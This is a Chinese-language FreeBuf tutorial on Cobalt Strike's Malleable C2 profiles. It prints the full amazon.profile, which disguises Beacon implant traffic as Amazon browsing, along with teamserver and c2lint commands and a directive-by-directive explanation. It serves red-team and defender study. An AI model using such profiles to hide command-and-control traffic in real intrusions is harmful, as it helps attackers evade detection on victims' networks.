關於Cobalt Strike的Malleable-C2-Profiles淺析
*本文作者:charm1y,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
前言
本文主要淺略地分析Cobalt Strike利用Malleable-C2-Profiles來進行偽裝流量,實現通訊隱匿的效果。
cobalt strike簡介
cobalt strike是一款非常優秀的基於java的後滲透測試平臺,它使用圖形化介面進行操作,相比於Metasploit操作上更為簡單高效。同時,它採用C/S架構,服務端為一個,客戶端可以為多個,方便團隊進行分散式協作。
cobalt strike監聽器
cobalt strike提供的listener分為Beacon與Foreign兩種。區別在與Beacon為內建使用,即目標主機與server端通訊的監聽;Foreign為與外部結合的listener,通常與Metasploit結合使用,後文使用的主要為Beacon型別的監聽器。Beacon主要支援dns、https、http、smp[pipe]等通訊協議。
我們設定好一個server端與目標主機之間監聽環境(關於cobalt strike的監聽器的設定與具體使用可以Google查詢),使用的payload為Windows/beacon_http/reverse_http,開始監聽。cobalt strike通過與目標主機建立心跳包的機制來監控目標主機的存活情況,預設為60s,可以通過sleep命令進行修改,當修改為5s一次心跳包的傳送,抓包觀察具體情況。
抓包可見,目標主機與server端的通訊為HTTP協議,由此,當我們對cobalt strike的server端進行隱藏,偽造成一個正常的Web伺服器,以此來偽裝流量,最終達到通訊隱匿的效果。cobalt strike通過提供Malleable-C2-Profiles來實現上述目的。
Malleable-C2-Profiles淺析
Beacon的HTTP的indicators由Malleable-C2-profile檔案控制,關於Malleable-C2-profile,它是一個簡單的配置檔案,用來指定如何轉換資料並將其儲存在transaction中,轉換和儲存資料的相同配置檔案也從transaction中提取和恢復。
使用方法: ./teamserver [external IP] [password] [/path/to/my.profile]
對於profile檔案可以通過cobalt strike軟體包中的c2lint檔案進行檢查,建議第一次使用的profile檔案都檢查一遍。
檢查方法: ./c2lint [/path/to/my.profile]
以amazon.profile為例,來做簡要分析
# Amazon browsing traffic profile
#
# Author: @harmj0y
#
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
http-get {
set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";
client {
header "Accept" "*/*";
header "Host" " ofollow,noindex" target="_blank">www.amazon.com ";
metadata {
base64;
prepend "session-token=";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
}
server {
header "Server" "Server";
header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "Content-Encoding" "gzip";
output {
print;
}
}
}
http-post {
set uri "/N4215/adj/amzn.us.sr.aps";
client {
header "Accept" "*/*";
header "Content-Type" "text/xml";
header "X-Requested-With" "XMLHttpRequest";
header "Host" " www.amazon.com ";
parameter "sz" "160x600";
parameter "oe" "oe=ISO-8859-1;";
id {
parameter "sn";
}
parameter "s" "3717";
parameter "dc_ref" "http%3A%2F%2F www.amazon.com ";
output {
base64;
print;
}
}
server {
header "Server" "Server";
header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";
header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "x-ua-compatible" "IE=edge";
output {
print;
}
}
}
檔案開頭的set語句來設定Beacon的預設值,型別分為全域性與本地選項,全域性選項更改的是全域性Beacon的設定,本地選項更改特定的transaction。全域性在檔案開頭宣告, 本地選項在具體的transaction中使用。
在amazon.profile中sleeptime為設定心跳包時間,單位為毫秒;jitter為預設的抖動因子(0-99%);maxdns為通過DNS上傳資料時的主機名最大長度(0-255);useragent為設定http通訊使用的使用者代理。
後文的http-get與http-post都符合以下的通用格式:
protocol-transaction { set local_option "value"; client { # customize client indicators } server { # customize server indicators } }
protocol-transaction即為使用具體使用http方法,client與server就是對http中的request與response的具體配置,header指定具體的http請求頭與相應頭資訊。
metadata { base64; prepend "session-token="; prepend "skin=noskin;"; append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996"; header "Cookie"; }
這指定了對metadata進行相應編碼,此處為base64編碼。Prepend語句在編碼後的資料前面新增相應字串,append語句為在末尾追加字串。最後儲存在cookie欄位裡面。獲取真正的metadata則是對http中相應資料進行逆操作,最終得到所要的metadata。
parameter語句為設定對應的字串儲存在對應的URI引數中,print語句是將data作為transaction的內容進行傳送。最後通過:
output { print; }
單元進行終止並輸出。通過以上具體內容的設定,最終在通訊時HTTP流量包得到相應的更改偽造。至於更多profile設定可以參考官方文件 — https://www.cobaltstrike.com/help-malleable-c2 。
下圖為server端預設配置與載入amazon.profile後實現的通訊流量的對比。
通過載入相應的profile檔案,來改變目標主機與server端的流量特徵,以此來隱藏流量,最終達到通訊隱匿的目的。
在cobalt strike中,一次只能使用一個profile檔案,當profile檔案有變動時,基於當前profile檔案的listener都會失效,需要重新部署。在編寫自定義的profile檔案時,需要注意一些字元與URL之間的衝突,有可能導致配置無法生效。修改後的profile檔案建議通過c2lint工具進行測試,通過後再進行部署。
總結
cobalt strike作為一款優秀的後滲透工具,通過偽造正常的HTTP流量來進行目標主機的控制,在實際使用中一般偏向於使用HTTPS協議進行通訊,更能達到隱藏自身的目的。以上內容算是拋磚引玉了,有感興趣的同學可以參考以下連結。
參考連結
https://www.freebuf.com/sectool/133369.html
https://www.cobaltstrike.com/help-malleable-c2
https://github.com/rsmudge/Malleable-C2-Profiles
https://github.com/xx0hcd/Malleable-C2-Profiles
*本文作者:charm1y,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。